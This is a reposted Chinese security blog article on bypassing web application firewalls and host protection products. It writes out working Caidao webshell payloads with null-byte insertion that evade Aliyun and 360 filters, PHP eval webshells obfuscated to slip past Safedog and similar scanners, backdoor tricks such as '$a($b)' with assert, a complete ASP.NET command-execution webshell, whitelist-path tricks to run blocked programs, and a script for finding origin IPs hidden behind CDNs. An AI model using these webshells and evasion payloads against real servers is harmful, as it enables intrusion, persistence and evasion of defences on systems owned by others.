1. 程式人生 > >[轉載]我的WafBypass之道(Misc篇)

[轉載]我的WafBypass之道(Misc篇)

review uoj 行程 onclick aid 歷史 eth reads sim

厲害,滿滿的幹貨,讓我膜一下


現在位置: 首頁 > 文章 > Web安全 > 文章 > 代碼審計 > 正文

我的WafBypass之道(Misc篇)

2017 /2/13 17:17 4,445 沙發

先知技術社區獨家發表本文,如需要轉載,請先聯系先知技術社區授權;未經授權請勿轉載。
先知技術社區投稿郵箱:Aliyun_xianzhi#service.alibaba.com;

  • Author:Tr3jer_CongRong
  • Blog:www.Thinkings.org
  • 第一篇《【獨家連載】我的WafBypass之道(SQL註入篇)》地址:https://www.secpulse.com/archives/53328.html
  • 第二篇《【獨家連載】我的WafBypa之道(upload篇)》地址:https://www.secpulse.com/archives/53533.html

高清pdf在文末。

0x00 前言

I am back ... 再不出這篇就要被笑然老板吊打了 ... 本來這一篇打算寫免殺的。考慮了下既然是預期最後一篇那就寫個匯總和一些偏門的吧。並且在輟寫本文時將前兩篇進行了增改。本文主要講以下幾點,也是講的並不全,但是實用。對其進行簡單的闡述下:

  • Bypass 菜刀連接攔截

多數waf對請求進行檢測時由於事先早已納入了像菜刀這樣的樣本。通常waf對這塊的檢測就是基於樣本,所以過於死板。

  • webshell 免殺

講webshell免殺也就直接寫寫姿勢,一些特性功能、畸形語法、生僻函數比如回調等繞過查殺語法,不斷變種、變種、變種。。。(混淆太惡心了,將其拿到實戰上的人是怎麽想的?)

  • Bypass 禁止執行程序

黑客在進行提權時,主機防護軟件安全狗、星外等會進行攔截。原理上都是基於黑白名單進行攔截敏感的程序調用。

  • Bypass CDN查找原IP

cdn隱藏了原ip,在某種情況上使黑客無法做不正當勾當,那麽自然就有各種繞過的方法。在這裏附上一些靠譜的姿勢和小工具。

0x01 Bypass 菜刀連接攔截

這裏寫兩個案例,分別稍加修改菜刀的連接原始數據達到Bypass,very simple。證明攔截規則不能寫的原樣照搬,一個簡單的一句話,並基於市面最廣的菜刀為樣本進行連接:

技術分享

阿裏雲盾:

這個post數據是絕對會被雲盾攔截的:

技術分享

基於waf專員智力水平,肯定不是簡單處理下請求就能繞過的。這裏先將請求拆分,分別進行請求看看:

@eval%01(base64_decode($_POST[z0]));

測試發現過濾了eval這個函數,有意思的是eval%01(能被攔截肯定是因為原樣照搬了這個菜刀的規則。而且只要在左括號前面插入就不會攔截,也就是:

@eval(base64_decode($_POST[z0]));

接下來就是繞過後面這段base64了,這段base64解密是段調用機器信息的php代碼,攔截的有點暴力也很正常。話說回來,發現雲盾能夠將這段base64一段一段識別的,是智能還是只是基於菜刀的樣本?

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIp  攔截
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01Ip  不攔截
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIp  攔截
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==  攔截

技術分享

將這段base64三個字符三個字符挨個fuzz發現在%2B前面插入就不會攔截了:

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%01%2B

所以,因為雲盾沒匹配到菜刀的樣本,只要將%01這樣的空字符插對地方的話,就可以繞過了:

[email protected](base64_decode0x00($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%01%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

技術分享
技術分享

當然,圖方便可以再根據這個繞過規則改下菜刀。

技術分享

360主機衛士:

主機衛士對菜刀的請求將直接判斷為"AttackType":"Caidao webshell"樣本:

技術分享

在eval函數前面插入任意urlencode的字符即可繞過:

技術分享

0x02 webshell免殺

免殺基於主機防護軟件,這裏拿安全狗、雲鎖、主機衛士舉個可用的例子:

mb_convert_encoding( $str, $encoding1,$encoding2 )

這個函數用於編碼轉換的處理,驗證下這個函數:

技術分享

這個圖證明的不夠的話再來一個,UTF-16BE、UTF-16LE編碼不管中英文的字符每個字符都是占兩個字節,那麽說回這個函數,支持轉換的編碼很全的,使用這個函數轉換成UTF-16BE看看。

技術分享

為了用戶體驗,主機防護軟件對eval這類函數只要不被外部可控就不會被攔截:

$str=1;

@eval($str);

但只要外部可控就會被攔截。

技術分享

經過處理後即可繞過:

$str=base64_decode("cGhwaW5mbygpOw==");
//$str=base64_decode(base64_encode($_POST[‘a‘]));

$str1=mb_convert_encoding($str, "GBK");

@eval($str1);

安全狗:

技術分享

主機衛士:

技術分享

雲鎖:

技術分享

個人是不會使用這麽蠢的後門或者混淆加密什麽的,因為開發者後期維護代碼時還是有可能被查到的,這裏只是舉個例子。推薦幾個方案就是間接利用程序自身來做後門(改的越少越好/最好不要使用增添新文件的方式):

利用404頁面
在正常程序中多次調用GET、POST、Cookie的代碼裏:
//$a=$_POST[‘a‘];
//%b=$_POST[‘b‘];
$a($b); //a=assert&b=phpinfo()
利用ADS流
利用.user.ini //wooyun-drops-tips-3424

0x03 Bypass 禁止執行程序

這裏以Safedog為例,最新版Safedog IIS 4.0已經不顯示禁止IIS執行程序的白名單了:

技術分享

找了個之前的版本搬一下白名單列表:

%windows%Microsoft.NET/Framework/v1.1.4322/aspnet_wp.exe
%windows%Microsoft.NET/Framework/v1.1.4322/csc.exe
%windows%Microsoft.NET/Framework/v1.1.4322/vbc.exe
%windows%Microsoft.NET/Framework/v2.0.50727/aspnet_wp.exe
%windows%Microsoft.NET/Framework/v2.0.50727/csc.exe
%windows%Microsoft.NET/Framework/v2.0.50727/vbc.exe
%windows%Microsoft.NET/Framework/v4.0.30319/aspnet_wp.exe
%windows%Microsoft.NET/Framework/v4.0.30319/csc.exe
%windows%Microsoft.NET/Framework/v4.0.30319/vbc.exe
%windows%system32/drwatson.exe
%windows%system32/drwtsn32
%windows%system32/drwtsn32.exe
%windows%system32/vsjitdebugger.exe
C:/Windows/Microsoft.Net/Framework/v3.5/csc.exe
C:/Windows/Microsoft.Net/Framework/v3.5/vbc.exe

首先一個執行cmd小馬:

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">

protected void FbhN(object sender,EventArgs e){

    try{

        Process ahAE=new Process();

        ahAE.StartInfo.FileName=path.Value;

        ahAE.StartInfo.Arguments=argm.Value;

        ahAE.StartInfo.UseShellExecute=false;

        ahAE.StartInfo.RedirectStandardInput=true;

        ahAE.StartInfo.RedirectStandardOutput=true;

        ahAE.StartInfo.RedirectStandardError=true;

        ahAE.Start();

        string Uoc=ahAE.StandardOutput.ReadToEnd();

        Uoc=Uoc.Replace("<","<");

        Uoc=Uoc.Replace(">",">");

        Uoc=Uoc.Replace("\r\n","<br>");

        tnQRF.Visible=true;

        tnQRF.InnerHtml="<hr width=\"100%\" noshade/><pre>"+Uoc+"</pre>";

    }catch(Exception error){

        Response.Write(error.Message);

    }

}

</script>

<html>
 <head> 
  <title>cmd webshell</title> 
 </head> 
 <body> 
  <form id="cmd" method="post" runat="server"> 
   <div runat="server" id="vIac"> 
    <p>Path:<br /> <input class="input" runat="server" id="path" type="text" size="100" value="c:\windows\system32\cmd.exe" /> </p> Param:
    <br /> 
    <input class="input" runat="server" id="argm" value="/c Set" type="text" size="100" /> 
    <asp:button id="YrqL" cssclass="bt" runat="server" text="Submit" onclick="FbhN" /> 
    <div id="tnQRF" runat="server" visible="false" enableviewstate="false"> 
    </div> 
   </div> 
  </form>  
 </body>
</html>

攔截:

技術分享

把白名單的內容做為參數進行執行呢:

技術分享

成功繞過,直接封裝到webshell參數上更方便:

StartInfo.Arguments=@"/‘C:/Windows/Microsoft.NET/Framework/v1.1.4322/vbc.exe‘ " + argm.Value;
技術分享

滿足這個白名單並使用路徑跳轉的方式執行程序也可以繞過:

技術分享

回首這個白名單,這個基於白名單識別有個缺陷就是並不是完全的匹配,而是前面匹配到了則放過。打個比方:可以利用windows的一個特性將可執行的文件改為.exee,比如我們使用白名單中的vsjitdebugger.exe這個文件名,上傳一個名為vsjitdebugger.exee的cmd即可:

技術分享

0x04 Bypass CDN查找原IP

由於cdn不可能覆蓋的非常完全,那麽可以采用國外多地ping的方式,或者多收集一些小國家的冷門dns然後nslookup domain.com dnsserver。

寫了個簡單的腳本,首先收集好偏門的dns字典,然後輪訓一個目標的方式,輸出這些dns查詢出的不同結果。

https://gist.github.com/Tr3jer/98f66fe250eb8b39667f0ef85e4ce5e5

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#__author__ == Tr3jer_CongRong

import re
import sys
import time
import threading
import dns.resolver

class Bypass_CDN:

    def __init__(self,domain,dns_dict):
        self.domain = domain
        self.myResolver = dns.resolver.Resolver()
        self.dns_list = set([d.strip() for d in open(dns_dict)])
        self.good_dns_list,self.result_ip = set(),set()

    def test_dns_server(self,server):
        self.myResolver.lifetime = self.myResolver.timeout = 2.0
        try:
            self.myResolver.nameservers = [server]
            sys.stdout.write(‘[+] Check Dns Server %s \r‘ % server)
            sys.stdout.flush()
            answer = self.myResolver.query(‘google-public-dns-a.google.com‘)
            if answer[0].address == ‘8.8.8.8‘:
                self.good_dns_list.add(server)
        except:
            pass

    def load_dns_server(self):
        print ‘[+] Load Dns Servers ...‘
        threads = []
        for i in self.dns_list:
            threads.append(threading.Thread(target=self.test_dns_server,args=(i,)))
        for t in threads:
            t.start()
            while True:
                if len(threading.enumerate()) < len(self.dns_list) / 2:
                    break
                else:
                    time.sleep(1)
        print ‘\n[+] Release The Thread ...‘
        for j in threads: j.join()
        print ‘[+] %d Dns Servers Available‘ % len(self.good_dns_list)

    def ip(self,dns_server):
        self.myResolver.nameservers = [dns_server]
        try:
            result = self.myResolver.query(self.domain)
            for i in result:
                self.result_ip.add(str(i.address))
        except:
            pass

    def run(self):
        self.load_dns_server()
        print ‘[+] Dns Servers Test Target Cdn ...‘
        threads = []
        for i in self.good_dns_list:
            threads.append(threading.Thread(target=self.ip,args=(i,)))
        for t in threads:
            t.start()
            while True:
                if len(threading.enumerate()) < len(self.good_dns_list) / 2:
                    break
                else:
                    time.sleep(1)
        for j in threads: j.join()
        for i in self.result_ip: print i

if __name__ == ‘__main__‘:
    dns_dict = ‘foreign_dns_servers.txt‘
    bypass = Bypass_CDN(sys.argv[1],dns_dict)
    bypass.run()
技術分享

通過dns歷史解析記錄查找目標源ip,我推薦使用Rapid7的DNS解析記錄庫進行檢索,畢竟做滲透的聰明人都講究:“事前早有準備,而不是臨陣磨槍”。這裏有一份2014.03—2015.10的解析記錄放在了百度雲。

技術分享

NS/TXT/MX的dns類型都可以進行檢索,基於dns解析hitory還可以使用netcraft.com

讓服務器主動連接:

  • 在可上傳圖片的地方利用目標獲取存放在自己服務器的圖片,或者任何可pull自己資源的點,review log即可拿到。
  • 通過註冊等方式讓目標主動發郵件過來,此方法對於大公司幾率小,因為出口可能是統一的郵件服務器。可以嘗試掃其MailServer網段。

技術分享

0x05 End.

為完成這個系列,將前兩篇也適當的增添了一些。有什麽這方面的問題可以在本帖問,嗯,那就這樣吧。

wafbypass_misc.pdf

【本文轉自安全脈搏戰略合作夥伴先知技術社區 原帖地址 安全脈搏yuyang編輯整理發布】

[轉載]我的WafBypass之道(Misc篇)